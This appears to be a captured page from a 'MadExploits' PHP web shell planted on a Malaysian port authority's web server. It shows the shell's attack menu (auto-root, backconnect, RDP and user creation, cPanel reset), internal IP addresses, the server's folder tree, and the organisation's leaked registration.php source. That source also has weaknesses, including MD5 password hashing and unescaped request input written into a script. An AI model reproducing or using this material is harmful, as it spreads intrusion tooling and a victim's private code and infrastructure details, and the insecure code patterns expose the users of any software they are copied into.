Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
htdocs /
edgpens /
backup /
220901 /
[ HOME SHELL ]
Name
Size
Permission
Action
utility
[ DIR ]
drwxrwxrwx
access.php
253
B
-rw-rw-rw-
account_recovery.php
8.24
KB
-rw-rw-rw-
dashboard.php
21.52
KB
-rw-rw-rw-
main.php
584
B
-rw-rw-rw-
registration.php
27.14
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : registration.php
<?php if(empty($page)){ include("access2.php"); } ?> <script type="text/javascript"> $(document).ready(function(){ $.testme = function(x,y){ var typ = ''; if(x == '1') typ = "success"; else if(x == '2') typ = "warning"; else typ = "danger"; $.bootstrapGrowl('<h4><strong>Notification</strong></h4> <p>'+y+'</p>', { type: typ, delay: 3000, allow_dismiss: true, offset: {from: 'top', amount: 20} }); }; }); </script> <?php growl_me($_SESSION,$g_success); function rand_filename2($x = null,$y = null,$z = null, $test = null){ /* $x = path $y = type/extension of file *.pdf etc $z = 1 ~ full path; @anything ~ generate name only $x,$y,$z = null ~ generate name only */ $rn = intval( "0" . rand(1,9) . rand(0,9) . rand(0,9) . rand(0,9) . rand(0,9) ); // random(ish) 5 digit int $rs = chr(rand(65,90)) . chr(rand(65,90)) . chr(rand(65,90)) . chr(rand(65,90)) . chr(rand(65,90)); // random(ish) 5 character string if(empty($x) && empty($y) && empty($z)): return $rn.$rs; else: if(file_exists($x."{$rn}{$rs}{$y}")): return $this->rand_filename($x,$y,$z); else: if($z == '1'): return $x.$rn.$rs.$y; else: return $rn.$rs; endif; endif; endif; } use League\OAuth2\Client\Provider\Google; use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; use PHPMailer\PHPMailer\SMTP; use PHPMailer\PHPMailer\OAuth; require './vendor/autoload.php'; $success = 0; if($_POST): $upvalid = checkupload($_FILES['val-fail']); if(!empty($upvalid)) goto asd; $email = $_POST['val-user']; $cont = 0; $do_comp = ""; $sql = "SELECT * FROM kod_syarikat WHERE MD5(CONCAT('id',idSyarikat))=?"; $param_data = array( "idSyarikat" => $_GET['company'] ); $data = mysqli_prepare_all($sql,$param_type = "auto",$param_data); $fetch_data = $data->fetch_assoc(); if(!empty($fetch_data)){ $idSyarikat = $fetch_data['idSyarikat']; $do_comp = "edit"; }else{ if($_GET['company']=='new') $do_comp = "add"; } if(!empty($do_comp)){ $sql = "SELECT * FROM ( SELECT emailUser FROM user_list WHERE emailUser=? UNION ALL SELECT emailUser FROM user_register WHERE emailUser=? AND flagUser=2 AND status=1 ) b "; $param_data = array( "email1" => $email, "email2" => $email ); $data = mysqli_prepare_all($sql,$param_type = "auto",$param_data); if(empty($data->fetch_assoc())){ $cont = 1; } } if($cont==1){ $status = ($do_comp=='edit') ? 'E' : 'N' ; $token = md5($email.date("dmyh:i:s")); $sql = " INSERT INTO kod_syarikattemp ( company_no, company_cert, nama, alamat, noTel, noFax, idJenisSyarikat, status, tarikhApply, oldid ) VALUES ( ?, ?, ?, ?, ?, ?, 2, ?, NOW(), ? ) "; $param_type = "auto"; $param_data = array( "company_no" => $_POST['val-creg'], "company_cert" => $_POST[''], "nama" => $_POST['val-cname'], "alamat" => $_POST['val-calamat'], "noTel" => $_POST['val-ctel'], "noFax" => $_POST['val-cfax'], "status" => $status, "oldid" => $idSyarikat ); $data = mysqli_prepare_audit($sql,$param_type,$param_data,"Agent Self Registration"); $idSyarikat = $data[0]; $sql = " INSERT INTO user_register ( idSyarikat, emailUser, passwordUser, nameUser, mobileNo, idRoles, flagUser, -- 1=Pending Email Confirmation; 2=Submitted dateCreated, recovery_token ) VALUES ( ?, ?, MD5(?), ?, ?, 1, 1, NOW(), ? )"; $param_type = "auto"; $param_data = array( "idSyarikat" => $idSyarikat, "emailUser" => $email, "passwordUser" => $_POST['val-password'], "nameUser" => $_POST['val-name'], "mobileNo" => $_POST['val-mobile'], "recovery_token" => $token ); $data = mysqli_prepare_audit($sql,$param_type,$param_data,"Agent Self Registration"); $last_id = $data[0]; // $last_id = mysqli_insert_id($mysqli_link); $folder = "./upload/syarikat_temp"; if(!is_dir($folder)): mkdir($folder,0777,TRUE); $file = "./upload/index.html"; copy($file, $folder."/index.html"); endif; $list_ext = $conf_doctype4; $filename = $_FILES['val-fail']['name']; $ext = strtolower(substr($filename, strrpos($filename, "."))); $file_name = ""; if (in_array($ext, $list_ext)) { $file_name = rand_filename2("./upload/syarikat_temp/",$ext,2); move_uploaded_file($_FILES['val-fail']['tmp_name'],$folder."/{$file_name}{$ext}"); unset($sql); unset($param_type); unset($param_data); $sql = "UPDATE kod_syarikattemp SET idUserApply=?,company_cert=? WHERE idSyarikat=?"; $param_data = array( $last_id, $file_name.$ext, $idSyarikat ); $types = str_repeat('s', count($param_data)); $stmt = $mysqli->stmt_init(); $stmt->prepare($sql); $stmt->bind_param($types, ...$param_data); $stmt->execute() or die(mysqli_error($mysqli)); $stmt->close(); } try { $mail = new PHPMailer(true); ob_start(); $sql = "SELECT `a`.`text`,b.* FROM kod_template a JOIN utiliti_email b WHERE 1 AND a.kod = 'E03'"; $param_data = array(); $datax = mysqli_prepare_all($sql,$param_type = "auto",$param_data); $template_text = $datax->fetch_assoc(); $url = $conf_fullweblink; $find = array( "%url%", "%token%", "%year%", "%templatename%"); $replace = array( $url, $token, date("Y"), $template['name'].' '.$template['version']); echo str_replace($find,$replace,$template_text['text']); $fileValue = ob_get_contents(); ob_end_clean(); //Server settings $mail->SMTPDebug = SMTP::DEBUG_SERVER; // Enable verbose debug output $mail->isSMTP(); // Send using SMTP $mail->SMTPOptions = array('ssl' => array('verify_peer_name' => false)); $mail->Host = gethostbyname($template_text['host']); $mail->SMTPAuth = $template_text['smtpauth']; $mail->SMTPSecure = $template_text['smtpsecure']; $mail->Port = $template_text['port']; $mail->AuthType = 'XOAUTH2'; $oauthUserEmail = $template_text['username']; $clientId = $template_text['cid']; $clientSecret = $template_text['csecret']; $refreshToken = $template_text['ctoken']; $provider = new Google( [ 'clientId' => $clientId, 'clientSecret' => $clientSecret, ] ); $mail->setOAuth( new OAuth( [ 'provider' => $provider, 'clientId' => $clientId, 'clientSecret' => $clientSecret, 'refreshToken' => $refreshToken, 'userName' => $oauthUserEmail, ] ) ); //Recipients $mail->setFrom($template_text['setfrom1'],$template_text['setfrom2']); $mail->addAddress($email); $mail->isHTML(true); // Set email format to HTML $mail->Subject = 'Account Registration'; $mail->Body = $fileValue; $mail->AltBody = 'This is the body in plain text for non-HTML mail clients'; $mail->send(); echo 'Message has been sent'; } catch (Exception $e) { echo "Message could not be sent. Mailer Error: {$mail->ErrorInfo}"; } $_SESSION['success'] = 1; $_SESSION['success_msg'] = "Registration confirmation has been sent to your email."; } echo "<script>window.location.replace('index.php?page=registration&success=1');</script>"; exit(); asd: $_SESSION['success'] = 3; $_SESSION['success_msg'] = $upvalid; echo "<script>window.location.replace('index.php?page=registration&company=".$_GET['company']."&success=3');</script>"; exit(); endif; ?> <div id="page-content"> <div class="row"> <div class="col-sm-12"> <div class="widget-image widget-image-xs"> <img src="img/lpkmn/bg.jpg" alt="image"> <div class="widget-image-content"> <div class="pull-right text-light-op"> <strong> <form id="form-login" method="post" action="login.php" class="form-inline" style="vertical-align: top"> <div class="row" style="vertical-align: top;margin-bottom: 0px;text-align: right"> <div class="col-md-12"> <i><a style="cursor: pointer;color: #CCC;" href="index.php?page=company_search">Register</a></i> || <i><a style="cursor: pointer;color: #CCC;" href="index.php?page=account_recovery">Forgot Password</a></i> </div> </div> <hr style="margin: 3px"> <div class="form-group" style="vertical-align: top;margin-bottom: 1px"> <div class="col-md-12 nopadding"> <input type="text" id="login-user" name="login-user" class="form-control" placeholder="Your email.."> </div> </div> <div class="form-group" style="vertical-align: top;margin-bottom: 1px"> <div class="col-md-12 nopadding"> <input type="password" id="login-password" name="login-password" class="form-control" placeholder="Your password.."> </div> </div> <div class="form-group form-actions" style="text-align:right;vertical-align: top;margin-bottom: 1px"> <div class="col-md-12 nopadding"> <button type="submit" class="btn btn-effect-ripple btn-sm btn-primary" style="margin-top: 3px"><i class="fa fa-unlock-alt"></i> Login</button> </div> </div> </form> </strong> </div> <h2 class="widget-heading text-light"><strong>eDGPENS LPKMn</strong></h2> <h3 class="widget-heading text-light-op">Lembaga Pelabuhan Kemaman</h3> </div> </div> </div> </div> <?php if(isset($_GET['company']) && $_GET['company']!='new'){ $sql = "SELECT * FROM kod_syarikat WHERE MD5(CONCAT('id',idSyarikat))=?"; $param_data = array("idSyarikat" => $_GET['company']); $datax = mysqli_prepare_all($sql,$param_type = "auto",$param_data); $fetch_datax = $datax->fetch_assoc(); } if(isset($_GET['company']) && ($_GET['company']=='new' || !empty($fetch_datax))){ ?> <div class="row" style="position: relative;top:20px"> <div class="col-sm-12"> <div class="block animation-fadeInQuickInv"> <!-- Login Title --> <div class="block-title"> <h2>Registration</h2> </div> <!-- <form class="push form-horizontal" id="form-validation" action="index.php?page=utility/userList" method="post"> --> <form class="push form-horizontal" id="form-validation" method="post" enctype="multipart/form-data" autocomplete="off"> <div class="row"> <div class="col-md-6"> <div class="row"> <div class="col-sm-12 col-md-7 col-md-offset-3"> <strong class="text-primary">PROFILE</strong> <hr style="margin :5px 0px;border-top: 5px double #eee"> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="val-user">Email <span class="text-danger">*</span></label> <div class="col-md-7"> <input type="email" id="val-user" name="val-user" class="form-control validation" data-validation="default" placeholder="Username (E-mail).."> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="val-password">Password <span class="text-danger">*</span></label> <div class="col-md-7"> <input type="password" id="val-password" name="val-password" class="form-control validation" data-validation="password1" placeholder="Choose a good one.." <?php if($conf_pass_min!=0){echo "minlength='{$conf_pass_min}'";}?> <?php if($conf_pass_max!=0){echo "maxlength='{$conf_pass_max}'";}?> > <code style="width: 100%;margin-top: 5px;"><?php echo htmlspecialchars_decode($conf_pass_text); ?></code> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="val-password">Confirm Password <span class="text-danger">*</span></label> <div class="col-md-7"> <input type="password" id="val-confirm-password" name="val-confirm-password" class="form-control validation" data-validation="password2" placeholder="..and confirm it to be safe!"> </div> </div> <hr> <div class="form-group"> <label class="col-md-3 control-label" for="val-name">Name <span class="text-danger">*</span></label> <div class="col-md-7"> <input type="text" id="val-name" name="val-name" class="form-control validation" data-validation="default" placeholder="Name.."> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="val-mobile">Mobile Number <span class="text-danger">*</span></label> <div class="col-md-7"> <input type="text" id="val-mobile" name="val-mobile" class="form-control validation" data-validation="default" placeholder="Mobile Number (601XXXXXXXX).."> </div> </div> </div> <div class="col-md-6"> <div class="row"> <div class="col-sm-12 col-md-8 col-md-offset-3"> <strong class="text-primary">COMPANY</strong> <hr style="margin :5px 0px;border-top: 5px double #eee"> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="val-cname">Name <span class="text-danger">*</span></label> <div class="col-md-8"> <input type="text" id="val-cname" name="val-cname" class="form-control validation" <?php if($fetch_datax){ echo "readonly='readonly'";} ?>data-validation="default" placeholder="Name.." value="<?php echo $fetch_datax['nama'];?>"> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="val-creg">Registration No. <span class="text-danger">*</span></label> <div class="col-md-8"> <input type="text" id="val-creg" name="val-creg" class="form-control validation" <?php if($fetch_datax && !empty($fetch_datax['company_no'])){ echo "readonly='readonly'";} ?> data-validation="default" placeholder="Company Registration No." value="<?php echo $fetch_datax['company_no'];?>"> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="val-fail">Company Certificate <span class="text-danger">*</span></label> <div class="col-md-8"> <div class="input-group" data-toggle="tooltip" title="Upload ISSC"> <div class="input-group-btn"> <label class="btn btn-primary"> Browse <input type="file" name="val-fail" class="form-control" style="display: none" accept="<?php echo $conf_doctype2;?>"> </label> </div> <span class="up1"> <input style="background: white;color: #000" readonly='readonly' value="" type="passenger_upload_text" id="passenger_upload_text" name="passenger_upload_text" value="" class="form-control validation upload-name" data-validation="default" placeholder="No File Selected"> </span> <a href="1" target="_blank" class="up2 form-control" style="cursor: pointer;"> Click To Open<i class="fa fa-download pull-right" style="line-height: 1.42857143"></i> </a> <div class="up3 input-group-btn" data-toggle="tooltip" title="Delete File"> <div class="btn btn-danger del-upload" data-senddata='{"ii": "<?php echo $ii;?>", "type": "passenger", "file": "1"}'><i class="fa fa-times"></i></div> </div> </div> <i id="" class="help-blockx animation-pullUp text-warning" style="font-size: 9pt"> <b>File Allowed: <?php echo $conf_doctype3;?></b> <br><b>(Max Size: <?echo $conf_maxuploadsize;?>MB)</b> </i> </div> </div> <hr> <div class="form-group"> <label class="col-md-3 control-label" for="val-calamat">Address <span class="text-danger">*</span></label> <div class="col-md-8"> <textarea id="val-calamat" name="val-calamat" rows="5" class="form-control validation" data-validation="default" placeholder="Address.."><?php if($fetch_datax){ echo $fetch_datax['alamat'];} ?></textarea> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="val-ctel">Phone Number <span class="text-danger">*</span></label> <div class="col-md-6"> <input type="text" id="val-ctel" name="val-ctel" value="<?php if($fetch_datax){ echo $fetch_datax['noTel'];} ?>" class="form-control validation" data-validation="default" placeholder="Phone Number.."> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="val-cfax">Fax Number <span class="text-danger">*</span></label> <div class="col-md-6"> <input type="text" id="val-cfax" name="val-cfax" value="<?php if($fetch_datax){ echo $fetch_datax['noFax'];} ?>" class="form-control validation" data-validation="default" placeholder="Fax Number.."> </div> </div> </div> </div> <hr> <div class="row"> <div class="col-md-12"><center><button class="btn btn-primary">Submit</button></center></div> </div> </form> </div> </div> </div> <?php }else{ ?> <!-- <div id="container" style="position: relative;top:20px"> --> <!-- Login Block --> <?php if(isset($_GET['company'])){ ?> <div class="row" style="position: relative;top:20px"> <div class="col-lg-6 col-lg-offset-3 col-md-12" > <div class="block animation-fadeInQuickInv"> <!-- Login Title --> <div class="block-title"> <h2>Registration</h2> </div> <div class="alert alert-danger"> <div class="widget-content themed-backgroundx-passion text-left clearfix"> <i class="pull-left fa fa-warning" style="font-size: 55pt"></i> <h4 class="widget-heading text-light">Company Doesn't Exist.</h4> <h4 class="widget-heading text-light-op">Click <a style="color:white;font-weight:bold" href="index.php?page=company_search" target="_self">Here</a> To Search Again</h4> </div> </div> </div> </div> </div> <?php }else if(isset($_GET['success'])){ if($g_success!='0'){ ?> <div class="row" style="position: relative;top:20px"> <div class="col-lg-6 col-lg-offset-3 col-md-12" > <div class="block animation-fadeInQuickInv"> <!-- Login Title --> <div class="block-title"> <h2>Registration</h2> </div> <div class="alert alert-success"> <div class="widget-content themed-backgroundx-passion text-left clearfix"> <i class="pull-left fa fa-check" style="font-size: 55pt"></i> <h4 class="widget-heading text-light">Registration Submitted.</h4> <h4 class="widget-heading text-light-op">Please Check Your Email For The Confirmation.</h4> </div> </div> </div> </div> </div> <?php }else{ echo "<script>window.location.replace('index.php?page=login.php');</script>"; } }else{ echo "<script>window.location.replace('index.php?page=login.php');</script>"; } ?> <!-- </div> --> <?php } ?> <div class="row"> <div class="col-md-12"> <!-- Footer --> <footer class="text-muted text-center animation-pullUp"> <small><span id="year-copy"></span> © <a href="login.php" target="_self"><?php echo $template['name'] . ' ' . $template['version']; ?></a></small> </footer> <!-- END Footer --> </div> </div> </div> <?php // include 'inc/template_scripts.php'; ?> <!-- Load and execute javascript code used only in this page --> <script src="custom.js"></script> <script src="js/pages/formsValidation.js"></script> <script type="text/javascript"> $(document).ready(function(){ $.fn.custom_submit2 = function(){ var this_form = $(this); var cont = 0; $(".validation_hidden").each(function(){ var t_this = $(this); t_this.parent("div").find(".help-block").remove(); if(t_this.val() === "" || t_this.val() === null){ cont++; t_this.parents(".form-group").addClass("has-error"); t_this.parents(".form-group").find(".chosen-choices").addClass("has-error"); t_this.parent("div").append('<div class="help-block animation-pullUp" style="display: block;">This field is required.</div>'); }else{ t_this.parents(".form-group").removeClass("has-error"); t_this.parents(".form-group").find(".chosen-choices").removeClass("has-error"); } }); if(this_form.find(".has-error").length === 0 && !this_form.find(".help-block2").length && cont === 0){ setTimeout(function(){ if(confirm("Send This Registration Form. Are You Sure?")){ $(".preloader").show(); this_form.unbind().submit(); } }, 100); }else{ $(this).find(".help-block").parents(".form-group").addClass("has-error"); setTimeout(function(){ $(this_form,document).find(".has-error").each(function(){ $(this,document).find("div").each(function(){ var tot_err = $(this).find(".help-block").length; var block_1 = $(this).find(".help-block").eq(0); $(this).find(".help-block").hide(); if(tot_err > 1){ $(this).find(".help-block").not(":first").remove(); } $(this).find(".help-block").show(); }); }); }, 100); } // setTimeout(function(){ // return 123; // }, 100); }; $("#form-validation").setvalidation(""); $("#form-validation").on("submit.validate",function(e){ $(this).custom_submit2(); e.preventDefault(); }); $("[type='file']").on("change",function(){ var t_parent = $(this).closest(".input-group"); var up1 = $(".up1",t_parent); var up2 = $(".up2",t_parent); var up3 = $(".up3",t_parent); var validExtensions = doc_allowed1; //array of valid extensions var fileName = $(this).val().toLowerCase(); var fileNameExt = fileName.substr(fileName.lastIndexOf('.') + 1); const fileSize = this.files[0].size / 1024 / 1024; // in MiB if ($.inArray(fileNameExt, validExtensions) == -1){ alert("Invalid file type."); $(this).val(""); $(".btn",up3).removeClass("disabled").addClass("disabled"); return false; }else if (fileSize.toFixed(1)>doc_maxsize1){ alert("Allowed Max Size: "+doc_maxsize1+"MB"); $(this).val(""); $(".btn",up3).removeClass("disabled").addClass("disabled"); return false; }else{ $(this).parents("div.input-group").find(".upload-name").val(fileName.substr(fileName.lastIndexOf('\\') + 1)); $(".btn",up3).removeClass("disabled"); } }); $(".del-upload").on("click",function(){ var t_parent = $(this).parents(".input-group"); var up1 = $(".up1",t_parent); var up2 = $(".up2",t_parent); var up3 = $(".up3",t_parent); var senddata = $(this).data("senddata"); if(up2.is(':visible')){ if(confirm("Delete This File?")){ $.post( "ajax.php?do=clear_file_kapal", senddata ).done(function(data) { up1.show(); up2.hide(); $(".btn",up3).addClass("disabled"); }); $(".tooltip",document).remove(); $(".donwload_main_"+senddata.ii,document).parent("td").append("<span class='label label-warning'>None</span>"); $(".donwload_main_"+senddata.ii,document).remove(); } }else{ $("input",t_parent).prop("value",""); $(".btn",up3).addClass("disabled"); } }); $("[type='file']","#form-validation").each(function(){ var t_parent = $(this).closest(".input-group"); var up1 = $(".up1",t_parent); var up2 = $(".up2",t_parent); var up3 = $(".up3",t_parent); var up2_val = up2.prop("href").substr(up2.prop("href").lastIndexOf('/') + 1); if(up2_val !== "1"){ up1.hide(); up2.show(); $(".btn",up3).removeClass("disabled"); }else{ up1.show(); up2.hide(); $(".btn",up3).addClass("disabled"); } }); $("#val-password").on("trigger_me",function(e){ var trgt = $(this); if(trgt.val().length >= <?php echo $conf_pass_min;?>){ var upcase = /[A-Z]/; var locase = /[a-z]/; var numbers = /[0-9]/; var spchar = /[~!@#$%^&*_\-+=`|\(){}[\]:;"'<>,.?/]/; // var format = /^[ `!@#$%^&*()_+\-=\[\]{};':"\\|,.<>\/?~]+$/i; var result = false; var valid1 = true; var valid2 = true; var valid3 = true; var valid4 = true; if(conf_pass_upcase && !upcase.test(trgt.val())) valid1 = false; if(conf_pass_locase && !locase.test(trgt.val())) valid2 = false; if(conf_pass_digit && !numbers.test(trgt.val())) valid3 = false; if(conf_pass_symbol && !spchar.test(trgt.val())) valid4 = false; var get_error = trgt.parent().find(".help-block"); if(get_error.length) get_error.remove(); trgt.parent().find(".help-block2").remove(); if(valid1 && valid2 && valid3 && valid4){ trgt.parent().find(".help-block2").remove(); trgt.closest(".form-group").removeClass("has-error2"); }else{ trgt.next("code").after("<div id=\"val-password-error\" class=\"help-block2 \" style='margin-top:8px;font-weight:400;font-style:italic;color: #de815c'>Your password must contain all the requirements needed.</div>"); trgt.closest(".form-group").addClass("has-error2"); return false; } }else{ trgt.parent().find(".help-block2").remove(); trgt.closest(".form-group").removeClass("has-error"); } }); $("#val-password").on("keyup",function(e){ $(this).trigger("trigger_me"); }); // $("#form-validation").on("submit",function(){ // if($(this).find(".has-error").length === 0 && $(this).find(".has-error2").length === 0){ // setTimeout(function(){ // if(!confirm("Send This Registration Form. Are You Sure?")){ // return false; // }else{ // $(".preloader").show(); // } // }, 100); // }else{ // return false; // } // }); $("[name='val-user']").on("change",function(){ var t_val = $(this).val(); var trgt = $(this); $.ajax({ type : "POST", data : "id="+t_val, url : "index_search.php?do=c_email", success : function(msg){ var obj = jQuery.parseJSON(msg); if(obj[0]){ trgt.parent().find(".help-block2").remove(); trgt.after("<div id=\"val-password-error\" class=\"help-block2 \" style='margin-top:8px;font-weight:400;font-style:italic;color: #de815c'>"+obj[0]+"</div>"); trgt.closest(".form-group").addClass("has-error2"); }else{ trgt.parent().find(".help-block2").remove(); trgt.closest(".form-group").removeClass("has-error2"); } } }); }); }); </script> <script src="js/pages/readyLogin.js"></script> <script>$(function(){ ReadyLogin.init(); });</script>
Close